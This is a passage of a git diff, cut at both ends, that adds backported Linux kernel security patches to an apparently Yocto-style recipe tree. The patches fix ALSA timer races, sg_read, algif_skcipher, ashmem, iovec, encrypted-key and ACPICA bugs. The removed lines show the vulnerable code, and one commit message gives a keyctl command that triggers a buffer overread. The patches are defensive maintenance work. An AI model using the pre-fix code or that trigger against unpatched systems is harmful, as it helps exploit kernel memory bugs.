_snd_timer_stop(timeri, 0, SNDRV_TIMER_EVENT_STOP); ++ err = _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_STOP); + if (err < 0) + return err; + timer = timeri->timer; +@@ -600,7 +594,7 @@ int snd_timer_continue(struct snd_timer_instance *timeri) + */ + int snd_timer_pause(struct snd_timer_instance * timeri) + { +- return _snd_timer_stop(timeri, 0, SNDRV_TIMER_EVENT_PAUSE); ++ return _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_PAUSE); + } + + /* diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0423-7b2f245546a5-PATCH UPSTREAM ALSA timer Fix link corruption due to double.patch b/recipes-kernel/linux/linux-bass/autopatcher/0423-7b2f245546a5-PATCH UPSTREAM ALSA timer Fix link corruption due to double.patch new file mode 100644 index 0000000..485dcc9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0423-7b2f245546a5-PATCH UPSTREAM ALSA timer Fix link corruption due to double.patch @@ -0,0 +1,115 @@ +From 7b2f245546a5bf525000d20a7ad7c0979b63317c Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Sat, 30 Jan 2016 23:09:08 +0100 +Subject: [PATCH] UPSTREAM: ALSA: timer: Fix link corruption due to double + start or stop + +commit f784beb75ce82f4136f8a0960d3ee872f7109e09 upstream. + +Although ALSA timer code got hardening for races, it still causes +use-after-free error. This is however rather a corrupted linked list, +not actually the concurrent accesses. Namely, when timer start is +triggered twice, list_add_tail() is called twice, too. This ends +up with the link corruption and triggers KASAN error. + +The simplest fix would be replacing list_add_tail() with +list_move_tail(), but fundamentally it's the problem that we don't +check the double start/stop correctly. So, the right fix here is to +add the proper checks to snd_timer_start() and snd_timer_stop() (and +their variants). + +Bug: 37240993 +Change-Id: I86a327c4479fecf9b502ba6122c8ae67a2326754 +BugLink: http://lkml.kernel.org/r/CACT4Y+ZyPRoMQjmawbvmCEDrkBD2BQuH7R09=eOkf5ESK8kJAw@mail.gmail.com +Reported-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Siqi Lin +--- + sound/core/timer.c | 30 ++++++++++++++++++++++++++++-- + 1 file changed, 28 insertions(+), 2 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index ce151185c42af..10312fe4cd06e 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -450,6 +450,10 @@ static int snd_timer_start_slave(struct snd_timer_instance *timeri) + unsigned long flags; + + spin_lock_irqsave(&slave_active_lock, flags); ++ if (timeri->flags & SNDRV_TIMER_IFLG_RUNNING) { ++ spin_unlock_irqrestore(&slave_active_lock, flags); ++ return -EBUSY; ++ } + timeri->flags |= SNDRV_TIMER_IFLG_RUNNING; + if (timeri->master && timeri->timer) { + spin_lock(&timeri->timer->lock); +@@ -474,7 +478,8 @@ int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) + return -EINVAL; + if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { + result = snd_timer_start_slave(timeri); +- snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); ++ if (result >= 0) ++ snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); + return result; + } + timer = timeri->timer; +@@ -483,11 +488,18 @@ int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) + if (timer->card && timer->card->shutdown) + return -ENODEV; + spin_lock_irqsave(&timer->lock, flags); ++ if (timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | ++ SNDRV_TIMER_IFLG_START)) { ++ result = -EBUSY; ++ goto unlock; ++ } + timeri->ticks = timeri->cticks = ticks; + timeri->pticks = 0; + result = snd_timer_start1(timer, timeri, ticks); ++ unlock: + spin_unlock_irqrestore(&timer->lock, flags); +- snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); ++ if (result >= 0) ++ snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); + return result; + } + +@@ -501,6 +513,10 @@ static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + + if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { + spin_lock_irqsave(&slave_active_lock, flags); ++ if (!(timeri->flags & SNDRV_TIMER_IFLG_RUNNING)) { ++ spin_unlock_irqrestore(&slave_active_lock, flags); ++ return -EBUSY; ++ } + timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; + list_del_init(&timeri->ack_list); + list_del_init(&timeri->active_list); +@@ -511,6 +527,11 @@ static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + if (!timer) + return -EINVAL; + spin_lock_irqsave(&timer->lock, flags); ++ if (!(timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | ++ SNDRV_TIMER_IFLG_START))) { ++ spin_unlock_irqrestore(&timer->lock, flags); ++ return -EBUSY; ++ } + list_del_init(&timeri->ack_list); + list_del_init(&timeri->active_list); + if (timer->card && timer->card->shutdown) { +@@ -580,10 +601,15 @@ int snd_timer_continue(struct snd_timer_instance *timeri) + if (timer->card && timer->card->shutdown) + return -ENODEV; + spin_lock_irqsave(&timer->lock, flags); ++ if (timeri->flags & SNDRV_TIMER_IFLG_RUNNING) { ++ result = -EBUSY; ++ goto unlock; ++ } + if (!timeri->cticks) + timeri->cticks = 1; + timeri->pticks = 0; + result = snd_timer_start1(timer, timeri, timer->sticks); ++ unlock: + spin_unlock_irqrestore(&timer->lock, flags); + snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_CONTINUE); + return result; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0424-41455882528a-PATCH UPSTREAM ALSA timer Fix race between stop and interrupt.patch b/recipes-kernel/linux/linux-bass/autopatcher/0424-41455882528a-PATCH UPSTREAM ALSA timer Fix race between stop and interrupt.patch new file mode 100644 index 0000000..32394c4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0424-41455882528a-PATCH UPSTREAM ALSA timer Fix race between stop and interrupt.patch @@ -0,0 +1,45 @@ +From 41455882528a805e9a9e4f0ea887dc669c9ccb53 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 9 Feb 2016 12:02:32 +0100 +Subject: [PATCH] UPSTREAM: ALSA: timer: Fix race between stop and interrupt + +commit ed8b1d6d2c741ab26d60d499d7fbb7ac801f0f51 upstream. + +A slave timer element also unlinks at snd_timer_stop() but it takes +only slave_active_lock. When a slave is assigned to a master, +however, this may become a race against the master's interrupt +handling, eventually resulting in a list corruption. The actual bug +could be seen with a syzkaller fuzzer test case in BugLink below. + +As a fix, we need to take timeri->timer->lock when timer isn't NULL, +i.e. assigned to a master, while the assignment to a master itself is +protected by slave_active_lock. + +Bug: 37240993 +Change-Id: Ib6eae144d5fdc92546d2210bcd6bc56454ad3e42 +BugLink: http://lkml.kernel.org/r/CACT4Y+Y_Bm+7epAb=8Wi=AaWd+DYS7qawX52qxdCfOfY49vozQ@mail.gmail.com +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Siqi Lin +--- + sound/core/timer.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 10312fe4cd06e..3b6f18cf2b835 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -517,9 +517,13 @@ static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + spin_unlock_irqrestore(&slave_active_lock, flags); + return -EBUSY; + } ++ if (timeri->timer) ++ spin_lock(&timeri->timer->lock); + timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; + list_del_init(&timeri->ack_list); + list_del_init(&timeri->active_list); ++ if (timeri->timer) ++ spin_unlock(&timeri->timer->lock); + spin_unlock_irqrestore(&slave_active_lock, flags); + goto __end; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0425-a961645bdfa6-PATCH UPSTREAM ALSA timer Call notifier in the same spinlock.patch b/recipes-kernel/linux/linux-bass/autopatcher/0425-a961645bdfa6-PATCH UPSTREAM ALSA timer Call notifier in the same spinlock.patch new file mode 100644 index 0000000..a2a78e8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0425-a961645bdfa6-PATCH UPSTREAM ALSA timer Call notifier in the same spinlock.patch @@ -0,0 +1,345 @@ +From a961645bdfa622a812a9c624ed7e189b2da1e234 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Wed, 10 Feb 2016 12:47:03 +0100 +Subject: [PATCH] UPSTREAM: ALSA: timer: Call notifier in the same spinlock + +snd_timer_notify1() is called outside the spinlock and it retakes the +lock after the unlock. This is rather racy, and it's safer to move +snd_timer_notify() call inside the main spinlock. + +The patch also contains a slight refactoring / cleanup of the code. +Now all start/stop/continue/pause look more symmetric and a bit better +readable. + +Bug: 37240993 +Change-Id: Ib90099f88c8b04928a8cdd2808cd9e16da6d519c +Signed-off-by: Takashi Iwai +Signed-off-by: Siqi Lin +--- + sound/core/timer.c | 220 +++++++++++++++++++++------------------------ + 1 file changed, 102 insertions(+), 118 deletions(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 3b6f18cf2b835..2e782cc321698 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -304,8 +304,6 @@ int snd_timer_open(struct snd_timer_instance **ti, + return 0; + } + +-static int _snd_timer_stop(struct snd_timer_instance *timeri, int event); +- + /* + * close a timer instance + */ +@@ -394,7 +392,6 @@ unsigned long snd_timer_resolution(struct snd_timer_instance *timeri) + static void snd_timer_notify1(struct snd_timer_instance *ti, int event) + { + struct snd_timer *timer; +- unsigned long flags; + unsigned long resolution = 0; + struct snd_timer_instance *ts; + struct timespec tstamp; +@@ -418,34 +415,66 @@ static void snd_timer_notify1(struct snd_timer_instance *ti, int event) + return; + if (timer->hw.flags & SNDRV_TIMER_HW_SLAVE) + return; +- spin_lock_irqsave(&timer->lock, flags); + list_for_each_entry(ts, &ti->slave_active_head, active_list) + if (ts->ccallback) + ts->ccallback(ts, event + 100, &tstamp, resolution); +- spin_unlock_irqrestore(&timer->lock, flags); + } + +-static int snd_timer_start1(struct snd_timer *timer, struct snd_timer_instance *timeri, +- unsigned long sticks) ++/* start/continue a master timer */ ++static int snd_timer_start1(struct snd_timer_instance *timeri, ++ bool start, unsigned long ticks) + { ++ struct snd_timer *timer; ++ int result; ++ unsigned long flags; ++ ++ timer = timeri->timer; ++ if (!timer) ++ return -EINVAL; ++ ++ spin_lock_irqsave(&timer->lock, flags); ++ if (timer->card && timer->card->shutdown) { ++ result = -ENODEV; ++ goto unlock; ++ } ++ if (timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | ++ SNDRV_TIMER_IFLG_START)) { ++ result = -EBUSY; ++ goto unlock; ++ } ++ ++ if (start) ++ timeri->ticks = timeri->cticks = ticks; ++ else if (!timeri->cticks) ++ timeri->cticks = 1; ++ timeri->pticks = 0; ++ + list_move_tail(&timeri->active_list, &timer->active_list_head); + if (timer->running) { + if (timer->hw.flags & SNDRV_TIMER_HW_SLAVE) + goto __start_now; + timer->flags |= SNDRV_TIMER_FLG_RESCHED; + timeri->flags |= SNDRV_TIMER_IFLG_START; +- return 1; /* delayed start */ ++ result = 1; /* delayed start */ + } else { +- timer->sticks = sticks; ++ if (start) ++ timer->sticks = ticks; + timer->hw.start(timer); + __start_now: + timer->running++; + timeri->flags |= SNDRV_TIMER_IFLG_RUNNING; +- return 0; ++ result = 0; + } ++ snd_timer_notify1(timeri, start ? SNDRV_TIMER_EVENT_START : ++ SNDRV_TIMER_EVENT_CONTINUE); ++ unlock: ++ spin_unlock_irqrestore(&timer->lock, flags); ++ return result; + } + +-static int snd_timer_start_slave(struct snd_timer_instance *timeri) ++/* start/continue a slave timer */ ++static int snd_timer_start_slave(struct snd_timer_instance *timeri, ++ bool start) + { + unsigned long flags; + +@@ -459,88 +488,37 @@ static int snd_timer_start_slave(struct snd_timer_instance *timeri) + spin_lock(&timeri->timer->lock); + list_add_tail(&timeri->active_list, + &timeri->master->slave_active_head); ++ snd_timer_notify1(timeri, start ? SNDRV_TIMER_EVENT_START : ++ SNDRV_TIMER_EVENT_CONTINUE); + spin_unlock(&timeri->timer->lock); + } + spin_unlock_irqrestore(&slave_active_lock, flags); + return 1; /* delayed start */ + } + +-/* +- * start the timer instance +- */ +-int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) ++/* stop/pause a master timer */ ++static int snd_timer_stop1(struct snd_timer_instance *timeri, bool stop) + { + struct snd_timer *timer; +- int result = -EINVAL; ++ int result = 0; + unsigned long flags; + +- if (timeri == NULL || ticks < 1) +- return -EINVAL; +- if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { +- result = snd_timer_start_slave(timeri); +- if (result >= 0) +- snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); +- return result; +- } +- timer = timeri->timer; +- if (timer == NULL) +- return -EINVAL; +- if (timer->card && timer->card->shutdown) +- return -ENODEV; +- spin_lock_irqsave(&timer->lock, flags); +- if (timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | +- SNDRV_TIMER_IFLG_START)) { +- result = -EBUSY; +- goto unlock; +- } +- timeri->ticks = timeri->cticks = ticks; +- timeri->pticks = 0; +- result = snd_timer_start1(timer, timeri, ticks); +- unlock: +- spin_unlock_irqrestore(&timer->lock, flags); +- if (result >= 0) +- snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_START); +- return result; +-} +- +-static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) +-{ +- struct snd_timer *timer; +- unsigned long flags; +- +- if (snd_BUG_ON(!timeri)) +- return -ENXIO; +- +- if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) { +- spin_lock_irqsave(&slave_active_lock, flags); +- if (!(timeri->flags & SNDRV_TIMER_IFLG_RUNNING)) { +- spin_unlock_irqrestore(&slave_active_lock, flags); +- return -EBUSY; +- } +- if (timeri->timer) +- spin_lock(&timeri->timer->lock); +- timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; +- list_del_init(&timeri->ack_list); +- list_del_init(&timeri->active_list); +- if (timeri->timer) +- spin_unlock(&timeri->timer->lock); +- spin_unlock_irqrestore(&slave_active_lock, flags); +- goto __end; +- } + timer = timeri->timer; + if (!timer) + return -EINVAL; + spin_lock_irqsave(&timer->lock, flags); + if (!(timeri->flags & (SNDRV_TIMER_IFLG_RUNNING | + SNDRV_TIMER_IFLG_START))) { +- spin_unlock_irqrestore(&timer->lock, flags); +- return -EBUSY; ++ result = -EBUSY; ++ goto unlock; + } + list_del_init(&timeri->ack_list); + list_del_init(&timeri->active_list); +- if (timer->card && timer->card->shutdown) { +- spin_unlock_irqrestore(&timer->lock, flags); +- return 0; ++ if (timer->card && timer->card->shutdown) ++ goto unlock; ++ if (stop) { ++ timeri->cticks = timeri->ticks; ++ timeri->pticks = 0; + } + if ((timeri->flags & SNDRV_TIMER_IFLG_RUNNING) && + !(--timer->running)) { +@@ -555,13 +533,49 @@ static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + } + } + timeri->flags &= ~(SNDRV_TIMER_IFLG_RUNNING | SNDRV_TIMER_IFLG_START); ++ snd_timer_notify1(timeri, stop ? SNDRV_TIMER_EVENT_STOP : ++ SNDRV_TIMER_EVENT_CONTINUE); ++ unlock: + spin_unlock_irqrestore(&timer->lock, flags); +- __end: +- if (event != SNDRV_TIMER_EVENT_RESOLUTION) +- snd_timer_notify1(timeri, event); ++ return result; ++} ++ ++/* stop/pause a slave timer */ ++static int snd_timer_stop_slave(struct snd_timer_instance *timeri, bool stop) ++{ ++ unsigned long flags; ++ ++ spin_lock_irqsave(&slave_active_lock, flags); ++ if (!(timeri->flags & SNDRV_TIMER_IFLG_RUNNING)) { ++ spin_unlock_irqrestore(&slave_active_lock, flags); ++ return -EBUSY; ++ } ++ timeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING; ++ if (timeri->timer) { ++ spin_lock(&timeri->timer->lock); ++ list_del_init(&timeri->ack_list); ++ list_del_init(&timeri->active_list); ++ snd_timer_notify1(timeri, stop ? SNDRV_TIMER_EVENT_STOP : ++ SNDRV_TIMER_EVENT_CONTINUE); ++ spin_unlock(&timeri->timer->lock); ++ } ++ spin_unlock_irqrestore(&slave_active_lock, flags); + return 0; + } + ++/* ++ * start the timer instance ++ */ ++int snd_timer_start(struct snd_timer_instance *timeri, unsigned int ticks) ++{ ++ if (timeri == NULL || ticks < 1) ++ return -EINVAL; ++ if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) ++ return snd_timer_start_slave(timeri, true); ++ else ++ return snd_timer_start1(timeri, true, ticks); ++} ++ + /* + * stop the timer instance. + * +@@ -569,21 +583,10 @@ static int _snd_timer_stop(struct snd_timer_instance *timeri, int event) + */ + int snd_timer_stop(struct snd_timer_instance *timeri) + { +- struct snd_timer *timer; +- unsigned long flags; +- int err; +- +- err = _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_STOP); +- if (err < 0) +- return err; +- timer = timeri->timer; +- if (!timer) +- return -EINVAL; +- spin_lock_irqsave(&timer->lock, flags); +- timeri->cticks = timeri->ticks; +- timeri->pticks = 0; +- spin_unlock_irqrestore(&timer->lock, flags); +- return 0; ++ if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) ++ return snd_timer_stop_slave(timeri, true); ++ else ++ return snd_timer_stop1(timeri, true); + } + + /* +@@ -591,32 +594,10 @@ int snd_timer_stop(struct snd_timer_instance *timeri) + */ + int snd_timer_continue(struct snd_timer_instance *timeri) + { +- struct snd_timer *timer; +- int result = -EINVAL; +- unsigned long flags; +- +- if (timeri == NULL) +- return result; + if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) +- return snd_timer_start_slave(timeri); +- timer = timeri->timer; +- if (! timer) +- return -EINVAL; +- if (timer->card && timer->card->shutdown) +- return -ENODEV; +- spin_lock_irqsave(&timer->lock, flags); +- if (timeri->flags & SNDRV_TIMER_IFLG_RUNNING) { +- result = -EBUSY; +- goto unlock; +- } +- if (!timeri->cticks) +- timeri->cticks = 1; +- timeri->pticks = 0; +- result = snd_timer_start1(timer, timeri, timer->sticks); +- unlock: +- spin_unlock_irqrestore(&timer->lock, flags); +- snd_timer_notify1(timeri, SNDRV_TIMER_EVENT_CONTINUE); +- return result; ++ return snd_timer_start_slave(timeri, false); ++ else ++ return snd_timer_start1(timeri, false, 0); + } + + /* +@@ -624,7 +605,10 @@ int snd_timer_continue(struct snd_timer_instance *timeri) + */ + int snd_timer_pause(struct snd_timer_instance * timeri) + { +- return _snd_timer_stop(timeri, SNDRV_TIMER_EVENT_PAUSE); ++ if (timeri->flags & SNDRV_TIMER_IFLG_SLAVE) ++ return snd_timer_stop_slave(timeri, false); ++ else ++ return snd_timer_stop1(timeri, false); + } + + /* diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0426-3e28042fe747-PATCH ANDROID scsi Add segment checking in sgread.patch b/recipes-kernel/linux/linux-bass/autopatcher/0426-3e28042fe747-PATCH ANDROID scsi Add segment checking in sgread.patch new file mode 100644 index 0000000..c6b8efa --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0426-3e28042fe747-PATCH ANDROID scsi Add segment checking in sgread.patch @@ -0,0 +1,26 @@ +From 3e28042fe747c6119d0364e653148a5e13b23bc7 Mon Sep 17 00:00:00 2001 +From: Roberto Pereira +Date: Tue, 10 Oct 2017 17:14:48 -0700 +Subject: [PATCH] ANDROID: scsi: Add segment checking in sg_read + +Bug: 65023233 +Signed-off-by: Roberto Pereira +Change-Id: Ib45f402cf304f9b8bf18884738f92b9c3db55573 +--- + drivers/scsi/sg.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 9a600f05ab57a..f40dbef23c316 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -382,6 +382,9 @@ sg_read(struct file *filp, char __user *buf, size_t count, loff_t * ppos) + struct sg_header *old_hdr = NULL; + int retval = 0; + ++ if (unlikely(segment_eq(get_fs(), KERNEL_DS))) ++ return -EINVAL; ++ + if ((!(sfp = (Sg_fd *) filp->private_data)) || (!(sdp = sfp->parentdp))) + return -ENXIO; + SCSI_LOG_TIMEOUT(3, printk("sg_read: %s, count=%d\n", diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0427-ca46046c55cb-crypto algifskcipher Load TX SG list after waiting.patch b/recipes-kernel/linux/linux-bass/autopatcher/0427-ca46046c55cb-crypto algifskcipher Load TX SG list after waiting.patch new file mode 100644 index 0000000..38b5f29 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0427-ca46046c55cb-crypto algifskcipher Load TX SG list after waiting.patch @@ -0,0 +1,55 @@ +From ca46046c55cb4766cf7fc1a72ac2efe2e1da89d9 Mon Sep 17 00:00:00 2001 +From: Herbert Xu +Date: Thu, 27 Oct 2016 17:29:48 +0300 +Subject: crypto: algif_skcipher - Load TX SG list after waiting + +commit 4f0414e54e4d1893c6f08260693f8ef84c929293 upstream. + +We need to load the TX SG list in sendmsg(2) after waiting for +incoming data, not before. + +Cc: stable@vger.kernel.org +Reported-by: Dmitry Vyukov +Signed-off-by: Herbert Xu +Tested-by: Dmitry Vyukov +Signed-off-by: Andrey Ryabinin +Signed-off-by: Willy Tarreau +--- + crypto/algif_skcipher.c | 14 +++++++------- + 1 file changed, 7 insertions(+), 7 deletions(-) + +diff --git a/crypto/algif_skcipher.c b/crypto/algif_skcipher.c +index 13fd26e23cacd..ea05c531db261 100644 +--- a/crypto/algif_skcipher.c ++++ b/crypto/algif_skcipher.c +@@ -446,13 +446,6 @@ static int skcipher_recvmsg(struct kiocb *unused, struct socket *sock, + char __user *from = iov->iov_base; + + while (seglen) { +- sgl = list_first_entry(&ctx->tsgl, +- struct skcipher_sg_list, list); +- sg = sgl->sg; +- +- while (!sg->length) +- sg++; +- + used = ctx->used; + if (!used) { + err = skcipher_wait_for_data(sk, flags); +@@ -474,6 +467,13 @@ static int skcipher_recvmsg(struct kiocb *unused, struct socket *sock, + if (!used) + goto free; + ++ sgl = list_first_entry(&ctx->tsgl, ++ struct skcipher_sg_list, list); ++ sg = sgl->sg; ++ ++ while (!sg->length) ++ sg++; ++ + ablkcipher_request_set_crypt(&ctx->req, sg, + ctx->rsgl.sg, used, + ctx->iv); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0428.diff b/recipes-kernel/linux/linux-bass/autopatcher/0428.diff new file mode 100644 index 0000000..fe4ce36 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0428.diff @@ -0,0 +1,17 @@ +diff --git a/drivers/staging/android/ashmem.c b/drivers/staging/android/ashmem.c +index f13aab2..f39983c 100644 +--- a/drivers/staging/android/ashmem.c ++++ b/drivers/staging/android/ashmem.c +@@ -672,10 +672,12 @@ + break; + case ASHMEM_SET_SIZE: + ret = -EINVAL; ++ mutex_lock(&ashmem_mutex); + if (!asma->file) { + ret = 0; + asma->size = (size_t) arg; + } ++ mutex_unlock(&ashmem_mutex); + break; + case ASHMEM_GET_SIZE: + ret = asma->size; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0429.diff b/recipes-kernel/linux/linux-bass/autopatcher/0429.diff new file mode 100644 index 0000000..81039a3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0429.diff @@ -0,0 +1,15 @@ +diff --git a/net/core/iovec.c b/net/core/iovec.c +index e1ec45a..4c3fd58 100644 +--- a/net/core/iovec.c ++++ b/net/core/iovec.c +@@ -88,6 +88,10 @@ + __wsum csum = *csump; + int partial_cnt = 0, err = 0; + ++ /* No data? Done! */ ++ if (len == 0) ++ return 0; ++ + /* Skip over the finished iovecs */ + while (offset >= iov->iov_len) { + offset -= iov->iov_len; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0430-2d21b6136ed6-PATCH UPSTREAM KEYS encrypted fix buffer overread in.patch b/recipes-kernel/linux/linux-bass/autopatcher/0430-2d21b6136ed6-PATCH UPSTREAM KEYS encrypted fix buffer overread in.patch new file mode 100644 index 0000000..381734c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0430-2d21b6136ed6-PATCH UPSTREAM KEYS encrypted fix buffer overread in.patch @@ -0,0 +1,71 @@ +From 2d21b6136ed6ccd26b667a02340d190cf7f5dbc0 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Mon, 12 Feb 2018 17:40:02 -0800 +Subject: [PATCH] UPSTREAM: KEYS: encrypted: fix buffer overread in + valid_master_desc() + +With the 'encrypted' key type it was possible for userspace to provide a +data blob ending with a master key description shorter than expected, +e.g. 'keyctl add encrypted desc "new x" @s'. When validating such a +master key description, validate_master_desc() could read beyond the end +of the buffer. Fix this by using strncmp() instead of memcmp(). [Also +clean up the code to deduplicate some logic.] + +Cc: linux-stable # 3.18.y +Cc: Mimi Zohar +Bug: 70526974 +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: James Morris +Signed-off-by: Jin Qian +Signed-off-by: Steve Pfetsch +(cherry picked from commit 794b4bc292f5d31739d89c0202c54e7dc9bc3add) + +Change-Id: I1c7346912feb76f3d6dab6c83c108e5ff59ca78e +--- + security/keys/encrypted-keys/encrypted.c | 31 ++++++++++++------------ + 1 file changed, 15 insertions(+), 16 deletions(-) + +diff --git a/security/keys/encrypted-keys/encrypted.c b/security/keys/encrypted-keys/encrypted.c +index 419442cc366..411549d484e 100644 +--- a/security/keys/encrypted-keys/encrypted.c ++++ b/security/keys/encrypted-keys/encrypted.c +@@ -141,23 +141,22 @@ static int valid_ecryptfs_desc(const char *ecryptfs_desc) + */ + static int valid_master_desc(const char *new_desc, const char *orig_desc) + { +- if (!memcmp(new_desc, KEY_TRUSTED_PREFIX, KEY_TRUSTED_PREFIX_LEN)) { +- if (strlen(new_desc) == KEY_TRUSTED_PREFIX_LEN) +- goto out; +- if (orig_desc) +- if (memcmp(new_desc, orig_desc, KEY_TRUSTED_PREFIX_LEN)) +- goto out; +- } else if (!memcmp(new_desc, KEY_USER_PREFIX, KEY_USER_PREFIX_LEN)) { +- if (strlen(new_desc) == KEY_USER_PREFIX_LEN) +- goto out; +- if (orig_desc) +- if (memcmp(new_desc, orig_desc, KEY_USER_PREFIX_LEN)) +- goto out; +- } else +- goto out; ++ int prefix_len; ++ ++ if (!strncmp(new_desc, KEY_TRUSTED_PREFIX, KEY_TRUSTED_PREFIX_LEN)) ++ prefix_len = KEY_TRUSTED_PREFIX_LEN; ++ else if (!strncmp(new_desc, KEY_USER_PREFIX, KEY_USER_PREFIX_LEN)) ++ prefix_len = KEY_USER_PREFIX_LEN; ++ else ++ return -EINVAL; ++ ++ if (!new_desc[prefix_len]) ++ return -EINVAL; ++ ++ if (orig_desc && strncmp(new_desc, orig_desc, prefix_len)) ++ return -EINVAL; ++ + return 0; +-out: +- return -EINVAL; + } + + /* diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0431.diff b/recipes-kernel/linux/linux-bass/autopatcher/0431.diff new file mode 100644 index 0000000..cfacbd0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0431.diff @@ -0,0 +1,92 @@ +diff --git a/drivers/acpi/acpica/psobject.c b/drivers/acpi/acpica/psobject.c +index 5bcb618..4539391 100644 +--- a/drivers/acpi/acpica/psobject.c ++++ b/drivers/acpi/acpica/psobject.c +@@ -608,7 +608,8 @@ acpi_status + acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + union acpi_parse_object *op, acpi_status status) + { +- acpi_status status2; ++ acpi_status return_status = AE_OK; ++ u8 ascending = TRUE; + + ACPI_FUNCTION_TRACE_PTR(ps_complete_final_op, walk_state); + +@@ -622,7 +623,8 @@ acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + op)); + do { + if (op) { +- if (walk_state->ascending_callback != NULL) { ++ if (ascending && ++ walk_state->ascending_callback != NULL) { + walk_state->op = op; + walk_state->op_info = + acpi_ps_get_opcode_info(op->common. +@@ -644,49 +646,26 @@ acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + } + + if (status == AE_CTRL_TERMINATE) { +- status = AE_OK; +- +- /* Clean up */ +- do { +- if (op) { +- status2 = +- acpi_ps_complete_this_op +- (walk_state, op); +- if (ACPI_FAILURE +- (status2)) { +- return_ACPI_STATUS +- (status2); +- } +- } +- +- acpi_ps_pop_scope(& +- (walk_state-> +- parser_state), +- &op, +- &walk_state-> +- arg_types, +- &walk_state-> +- arg_count); +- +- } while (op); +- +- return_ACPI_STATUS(status); ++ ascending = FALSE; ++ return_status = AE_CTRL_TERMINATE; + } + + else if (ACPI_FAILURE(status)) { + + /* First error is most important */ + +- (void) +- acpi_ps_complete_this_op(walk_state, +- op); +- return_ACPI_STATUS(status); ++ ascending = FALSE; ++ return_status = status; + } + } + +- status2 = acpi_ps_complete_this_op(walk_state, op); +- if (ACPI_FAILURE(status2)) { +- return_ACPI_STATUS(status2); ++ status = acpi_ps_complete_this_op(walk_state, op); ++ if (ACPI_FAILURE(status)) { ++ ascending = FALSE; ++ if (ACPI_SUCCESS(return_status) || ++ return_status == AE_CTRL_TERMINATE) { ++ return_status = status; ++ } + } + } + +@@ -696,5 +675,5 @@ acpi_ps_complete_final_op(struct acpi_walk_state *walk_state, + + } while (op); + +- return_ACPI_STATUS(status); ++ return_ACPI_STATUS(return_status); + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0432-97f3c0a4b057-ACPICA acpi acpica fix acpi operand cache leak in nsevalc.patch b/recipes-kernel/linux/linux-bass/autopatcher/0432-97f3c0a4b057-ACPICA acpi acpica fix acpi operand cache leak in nsevalc.patch new file mode 100644 index 